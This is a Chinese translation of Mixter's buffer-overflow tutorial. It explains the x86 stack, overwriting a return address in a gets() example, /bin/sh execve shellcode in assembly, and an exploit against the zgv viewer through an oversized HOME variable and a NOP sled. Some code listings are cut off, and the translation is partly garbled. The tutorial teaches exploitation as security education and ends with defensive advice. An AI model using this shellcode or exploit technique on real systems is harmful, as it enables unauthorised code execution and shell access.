緩沖區(qū)溢出出現(xiàn)在用戶輸入的相關(guān)緩沖區(qū)內(nèi),在一般情況下,這是現(xiàn)在的計(jì)算機(jī)和網(wǎng)絡(luò)上的最大的安全隱患之一。這是因?yàn)樵诰幊痰膶哟紊虾苋菀壮霈F(xiàn)這中問題,這對(duì)于不明白或是無(wú)法獲得源代碼的使用者來說是不可見的,很多的這中問題就會(huì)被利用。本文就是企圖教會(huì)新手-C程序員,證明怎么利用一個(gè)溢出環(huán)境。- Mixter
1 內(nèi)存
注:我這里的描述方式是在大多數(shù)計(jì)算機(jī)上內(nèi)存是進(jìn)程的組織者,但是它是依賴處理器體系結(jié)構(gòu)的類型。這是一個(gè)x86的例子,同時(shí)也可以大致應(yīng)用在sparc。
緩沖區(qū)溢出的攻擊原理是不應(yīng)該是重寫隨機(jī)輸入和在進(jìn)程中執(zhí)行代碼的內(nèi)存的重寫。要看在什么地方和怎么發(fā)生的溢出,讓我們來看下內(nèi)存是如何組織的。頁(yè)面是使用自己相關(guān)地址的內(nèi)存的一個(gè)部分,這就意味著內(nèi)核的進(jìn)程的初始化,這就沒有必要知道在RAM中存儲(chǔ)的物理地址。進(jìn)程內(nèi)存由下面三個(gè)部分組成:
代碼段,在這一段代碼中你的數(shù)據(jù)是通過匯編指令在處理器中執(zhí)行的。該代碼執(zhí)行是非線性的,它可以跳過代碼,跳躍,在某種條件下調(diào)用函數(shù)。以此,我們使用EIP指針,或是指針指令。其中EIP指向的地址總是包含下一個(gè)執(zhí)行代碼。
數(shù)據(jù)段,變量空間和動(dòng)態(tài)緩沖器。
堆棧段,這是用來給函數(shù)傳遞變量的和和作為函數(shù)變量的空間。在棧的底部位于每一頁(yè)的虛擬內(nèi)存的盡頭,同時(shí)向下增長(zhǎng)。匯編命令PUSHL會(huì)增加到棧的頂部,POPL會(huì)從棧的頂部移除項(xiàng)目并且把它們放到寄存器中。要直接訪問棧寄存器,在棧的頂部有棧頂指針ESP。
2 函數(shù)
函數(shù)是一段代碼段的代碼,當(dāng)被調(diào)用執(zhí)行一個(gè)任務(wù),之后返回執(zhí)行的前一個(gè)主題?;蚴?,把參數(shù)傳遞給函數(shù),在匯編語(yǔ)言中,通常看起來是這樣的。
memory address code0x8054321 pushl $0x00x8054322 call $0x80543a0 0x8054327 ret0x8054328 leave...0x80543a0 popl %eax0x80543a1 addl $0x1337,%eax0x80543a4 ret
這會(huì)發(fā)生什么?主函數(shù)調(diào)用了function(0);
變量是0,主要把它壓入棧中,同時(shí)調(diào)用該函數(shù)。該函數(shù)使用popl來獲取棧中的變量。完成后,返回0×8054327。通常,主函數(shù)要把EBP寄存器壓入棧中,主要是儲(chǔ)存和在結(jié)束后在儲(chǔ)存。這是幀指針的概念,即允許函數(shù)使用自己的偏移地址,在對(duì)付攻擊時(shí)就變的很無(wú)趣了。因?yàn)楹瘮?shù)將不會(huì)返回到原有的執(zhí)行線程。
我們只需要知道棧。在頂部,我們有函數(shù)的內(nèi)部緩沖區(qū)和變量。在此之后,有保存的EBP寄存器(32位,4個(gè)字節(jié)),然后返回地址,是另外的4個(gè)字節(jié)。再往下,還有要傳遞給函數(shù)的參數(shù),這對(duì)我們沒有用。
在這種情況下,我們返回的地址是0×8054327。在函數(shù)被調(diào)用時(shí),它就會(huì)自動(dòng)的存儲(chǔ)到棧中。如果代碼中存在溢出的地方,這個(gè)返回值會(huì)被覆蓋,并且指針指向下內(nèi)存中的下一個(gè)位置。
3 一個(gè)可以利用的程序?qū)嵗?/STRONG>
讓我們假設(shè)我們要利用的函數(shù)為:
void lame (void) { char small[30]; gets (small); printf("%s\n", small); } main() { lame (); return 0; } Compile and disassemble it: # cc -ggdb blah.c -o blah /tmp/cca017401.o: In function `lame': /root/blah.c:1: the `gets' function is dangerous and should not be used. # gdb blah /* short explanation: gdb, the GNU debugger is used here to read the binary file and disassemble it (translate bytes to assembler code) */ (gdb) disas main Dump of assembler code for function main: 0x80484c8 : pushl %ebp 0x80484c9 : movl %esp,%ebp 0x80484cb : call 0x80484a0 0x80484d0 : leave 0x80484d1 : ret (gdb) disas lame Dump of assembler code for function lame: /* saving the frame pointer onto the stack right before the ret address */ 0x80484a0 : pushl %ebp 0x80484a1 : movl %esp,%ebp /* enlarge the stack by 0×20 or 32. our buffer is 30 characters, but the memory is allocated 4byte-wise (because the processor uses 32bit words) this is the equivalent to: char small[30]; */ 0x80484a3 : subl $0×20,%esp /* load a pointer to small[30] (the space on the stack, which is located at virtual address 0xffffffe0(%ebp)) on the stack, and call the gets function: gets(small); */ 0x80484a6 : leal 0xffffffe0(%ebp),%eax 0x80484a9 : pushl %eax 0x80484aa : call 0x80483ec 0x80484af : addl $0×4,%esp /* load the address of small and the address of "%s\n" string on stack and call the print function: printf("%s\n", small); */ 0x80484b2 : leal 0xffffffe0(%ebp),%eax 0x80484b5 : pushl %eax 0x80484b6 : pushl $0x804852c 0x80484bb : call 0x80483dc 0x80484c0 : addl $0×8,%esp /* get the return address, 0x80484d0, from stack and return to that address. you don't see that explicitly here because it is done by the CPU as 'ret' */ 0x80484c3 : leave 0x80484c4 : ret End of assembler dump.
3.1 程序溢出
# ./blah xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- user input xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx # ./blah xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- user input xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Segmentation fault (core dumped) # gdb blah core (gdb) info registers eax: 0×24 36 ecx: 0x804852f 134513967 edx: 0×1 1 ebx: 0x11a3c8 1156040 esp: 0xbffffdb8 -1073742408 ebp: 0×787878 7895160
EBP是0×787878,這就意味我們已經(jīng)寫入了超出緩沖區(qū)輸入可以控制的范圍。0×78的x是十六進(jìn)制的標(biāo)志。該過程有32個(gè)字節(jié)的最大的緩沖器。我們已經(jīng)在內(nèi)存中寫入了比用戶輸入更多的數(shù)據(jù),因此重寫EBP和返回值的地址是'xxxx',這個(gè)過程會(huì)嘗試在地址0×787878處重復(fù)執(zhí)行,這就會(huì)導(dǎo)致段的錯(cuò)誤。
3.2 改變返回值地址
讓我們嘗試?yán)眠@個(gè)程序來返回lame(),我們要改變返回值的地址從0x80484d0到0x80484cb,在內(nèi)存中,我們有32字節(jié)的緩沖區(qū)空間|4個(gè)字節(jié)保存EBP|4個(gè)字節(jié)的RET。下面是一個(gè)很簡(jiǎn)單的程序,把4個(gè)字節(jié)的返回地址變成一個(gè)1個(gè)字節(jié)字符緩沖區(qū):
main() { int i=0; char buf[44]; for (i=0;i<=40;i+=4) *(long *) &buf[i] = 0x80484cb; puts(buf); } # ret ËËËËËËËËËËË, # (ret;cat)|./blah test <- user input ËËËËËËËËËËË,test test <- user input test
我們?cè)谶@里使用這個(gè)程序通過了函數(shù)兩次。如果有溢出存在,函數(shù)的返回值地址是可以變的,從而改變程序的執(zhí)行線程。
4 Shellcode
為了簡(jiǎn)單,Shellcode使用簡(jiǎn)單的匯編指令,我們寫在棧上,然后更改返回地址,使它返回到棧內(nèi)。使用這個(gè)方法,我們可以我們可以把代碼插入到一個(gè)脆弱的進(jìn)程中,然后在棧中正確的執(zhí)行它。所以,讓我們通過插入的匯編代碼來運(yùn)行一個(gè)Shell。一個(gè)常見的調(diào)用命令是execve(),它加載和運(yùn)行任意的二進(jìn)制代碼,終止執(zhí)行當(dāng)前的進(jìn)程。聯(lián)機(jī)界面給我的應(yīng)用:
int execve (const char *filename, char *const argv [], char *const envp[]); Lets get the details of the system call from glibc2: # gdb /lib/libc.so.6 (gdb) disas execve Dump of assembler code for function execve: 0x5da00 : pushl %ebx /* this is the actual syscall. before a program would call execve, it would push the arguments in reverse order on the stack: **envp, **argv, *filename */ /* put address of **envp into edx register */ 0x5da01 : movl 0×10(%esp,1),%edx /* put address of **argv into ecx register */ 0x5da05 : movl 0xc(%esp,1),%ecx /* put address of *filename into ebx register */ 0x5da09 : movl 0×8(%esp,1),%ebx /* put 0xb in eax register; 0xb == execve in the internal system call table */ 0x5da0d : movl $0xb,%eax /* give control to kernel, to execute execve instruction */ 0x5da12 : int $0×80 0x5da14 : popl %ebx 0x5da15 : cmpl $0xfffff001,%eax 0x5da1a : jae 0x5da1d <__syscall_error> 0x5da1c : ret
結(jié)束匯編轉(zhuǎn)存。
4.1 使代碼可移植
我們必須應(yīng)用一個(gè)策略使沒有參數(shù)的Shellcode在內(nèi)存中的傳統(tǒng)方式,通過在它們的頁(yè)存儲(chǔ)上的精確位置,在編譯中完成。
一旦我們估計(jì)shellcode的大小,我們能夠使用指令jmp和call來得到指定的字節(jié)在執(zhí)行線程向前或是向后。為什么使用call?我們有機(jī)會(huì)使用CALL來自動(dòng)的在棧內(nèi)存儲(chǔ)返回地址,這個(gè)返回地址是在下一個(gè)CALL指令后的4個(gè)字節(jié)。通過放置一個(gè)正確的變量通過使用call,我們間接的把地址壓進(jìn)了棧中,沒有必要了解它。
0 jmp (skip Z bytes forward) 2 popl %esi … put function(s) here … Z call <-Z+2> (skip 2 less than Z bytes backward, to POPL) Z+5 .string (first variable)
(注:如果你要寫的代碼比一個(gè)簡(jiǎn)單的shell還要復(fù)雜,可以多次使用上面的代碼。字符串放在代碼的后面。你知道這些字符串的大小,因此可以計(jì)算他們的相對(duì)位置,一旦你知道第一個(gè)字符串的位置。)
4.2 Shellcode
global code_start /* we'll need this later, dont mind it */ global code_end .data code_start: jmp 0×17 popl %esi movl %esi,0×8(%esi) /* put address of **argv behind shellcode, 0×8 bytes behind it so a /bin/sh has place */ xorl %eax,%eax /* put 0 in %eax */ movb %eax,0×7(%esi) /* put terminating 0 after /bin/sh string */ movl %eax,0xc(%esi) /* another 0 to get the size of a long word */ my_execve: movb $0xb,%al /* execve( */ movl %esi,%ebx /* "/bin/sh", */ leal 0×8(%esi),%ecx /* & of "/bin/sh", */ xorl %edx,%edx /* NULL */ int $0×80 /* ); */ call -0x1c .string "/bin/shX" /* X is overwritten by movb %eax,0×7(%esi) */ code_end:
(相對(duì)偏移了0×17和-0x1c通過放在0×0,編譯,反匯編和看看shell代碼的大小。)
這是一個(gè)正在工作著的shellcode,雖然很小。你至少使用exit()來調(diào)用和依附它(在調(diào)用之前)。Shellcode的正真的藝術(shù)還包括避免任何二進(jìn)制0代碼和修改它為例,二進(jìn)制代碼不包含控制和小寫字符,這將會(huì)過濾掉一些問題程序。大多數(shù)的東西是通過自己修改代碼來完成的,就是我們想的使用mov %eax,0×7(%esi)指令。我們用\0來取代X,但是在shellcode初始化中沒有\(zhòng)0。
讓我們測(cè)試下這些代碼,保存上面的代碼為code.S和下面的文件為code.c:
extern void code_start(); extern void code_end(); #include
現(xiàn)在你可以把shellcode轉(zhuǎn)變成16進(jìn)制字符緩沖區(qū)。要做到這的最好的方法就是打?。?/P>
#include
通過使用aconv –h或bin2c.pl來解析它,可以在http://www.dec.net/~dhg或是http://members.tripod.com/mixtersecurity上找到工具。
5 寫一個(gè)利用
讓我們看看如何改變返回地址指向的shellcode進(jìn)行壓棧,寫一個(gè)攻擊的例子。我們將要采用zgv,因?yàn)檫@是可以利用的一個(gè)最簡(jiǎn)單的事情。
# export HOME=`perl -e 'printf "a" x 2000'` # zgv Segmentation fault (core dumped) # gdb /usr/bin/zgv core #0 0×61616161 in ?? () (gdb) info register esp esp: 0xbffff574 -1073744524
那么,這是在棧頂?shù)墓收蠒r(shí)間,安全的假設(shè)是我們能夠使用這作為我們shellcode的返回地址。
現(xiàn)在我們要在我們的緩沖區(qū)前增加一些NOP指令,所以我們沒有必要對(duì)于我們內(nèi)存中的shellcode的精確開始的預(yù)測(cè)100%的正確。這個(gè)函數(shù)將會(huì)返回到棧在我們的shellcode之前,通過這個(gè)方式使用NOPs的頭文字JMP命令,跳轉(zhuǎn)到CALL,在轉(zhuǎn)回popl,在棧中運(yùn)行我們的代碼。
記住,棧是這樣的。在最低級(jí)的內(nèi)存地址,ESP指向棧的頂部,初始變量被儲(chǔ)存,即時(shí)緩沖器中的zgv儲(chǔ)存了HOME環(huán)境變量。在那之后,我們保存了EBP和前一個(gè)函數(shù)的返回地址。我們必須要寫8個(gè)字節(jié)或是更多在緩沖區(qū)后面,用棧中的新的地址來覆蓋返回地址。
Zgv緩沖器有1024個(gè)字節(jié)。你可以通過掃視代碼來發(fā)現(xiàn),或是通過在脆弱的函數(shù)中搜索初始化的subl $0×400,%esp (=1024)。我們可以把這些放在一起來利用。
5.1 zgv攻擊實(shí)例
/* zgv v3.0 exploit by Mixter buffer overflow tutorial – http://1337.tsx.org sample exploit, works for example with precompiled redhat 5.x/suse 5.x/redhat 6.x/slackware 3.x linux binaries */ #include
此時(shí),zgv做不到邊界檢查,寫入超出了smallbuffer,返回到main的地址被棧中的返回地址覆蓋。function()離不開/ ret和棧中EIP的指向。
0xbffff574 nop 0xbffff575 nop 0xbffff576 nop 0xbffff577 jmp $0×24 1 0xbffff579 popl %esi 3 <–\ | [... shellcode starts here ...] | | 0xbffff59b call -$0x1c 2 <–/ 0xbffff59e .string "/bin/shX" Lets test the exploit… # cc -o zgx zgx.c # ./zgx using address 0xbffff574 bash#
5.2 編寫攻擊的進(jìn)一步提示
有很都可以被利用的程序,但還是很脆弱。但是這有很多的技巧,你可以通過過濾等方式得到。還有其他的溢出技術(shù),這并不一定要包括改變返回地址或是只是放回地址。有指針溢出,函數(shù)分配的指針能夠被覆蓋通過一個(gè)數(shù)據(jù)流,改變程序執(zhí)行的流程。攻擊的返回地址指向shell環(huán)境指針,shellcode為與那里,而不是在棧上。
對(duì)于一個(gè)熟練掌握shellcode的人是在根本上的自己修改代碼,最初包含可以打印的,非白色的大寫字母,然后修改自己它,把shellcode函數(shù)放在要執(zhí)行的棧上。
你應(yīng)該永遠(yuǎn)不會(huì)有任何二進(jìn)制0在你的shell代碼里,因?yàn)槿绻魏味伎赡軣o(wú)法正常的工作。但是本文討論了怎么升華某種匯編指令與其他的命令超出了范圍。我也建議讀其他大的數(shù)據(jù)流怎么超出的,通過aleph1,Taeoh Oh和mudge來寫的。
5.3 重要注意事項(xiàng)
你將不能在Windows 或是 Macintosh上使用這個(gè)教程,不要和我要cc.exe和gdb.exe。
6 結(jié)論
我們已經(jīng)知道,一旦用戶依賴存在的的溢出,在90%的時(shí)間了是可以利用的,即使利用起來和困難,同時(shí)要一些技能。為什么寫這個(gè)攻擊很重要呢?因?yàn)檐浖髽I(yè)是無(wú)知的。在軟件緩沖區(qū)溢出方面的漏洞的報(bào)告已經(jīng)有了,雖然這些軟件沒有更新,或是大多數(shù)用戶沒有更新,因?yàn)檫@個(gè)漏洞很難被利用,沒有人認(rèn)為這會(huì)成為一個(gè)安全隱患。然后,漏洞出現(xiàn)了,證明和實(shí)踐是程序能夠利用,而且這就要急于更新了。
作為程序員,寫一個(gè)安全的程序是一個(gè)艱巨的任務(wù),但是要認(rèn)真的對(duì)待。在寫入服務(wù)器時(shí)就變的更加值得關(guān)注,任何類型的安全程序,或是suid root的程序,或是設(shè)計(jì)使用root來運(yùn)行,如特別的賬戶或是系統(tǒng)本身。使用范圍檢查,更喜歡分配動(dòng)態(tài)緩沖器,輸入的依賴性,大小,小心/while/etc。收集數(shù)據(jù)和填充緩沖區(qū),以及一般處理用戶很關(guān)心的輸入的循環(huán)是我建議的主要原則。
目前在安全行業(yè)取得了顯著的成績(jī),使用非可執(zhí)行的棧,suid包,防衛(wèi)程序來核對(duì)返回值,邊界核查編輯器等技術(shù)來阻止溢出問題。你應(yīng)該在可以使用的情況下使用這些技術(shù),但是不要完全依賴他們。如果你運(yùn)行vanilla的UNIX的發(fā)行版時(shí),不要假設(shè)安全,但是有溢出保護(hù)或是防火墻/IDS。它不能保證安全,如果你繼續(xù)使用不安全的程序,因?yàn)開all_安全程序是_software_和包含自身漏洞的,至少他們不是完美的。如果你頻繁的使用updates _和_ security measures,你仍然不能渴望安全,_but_你可以希望。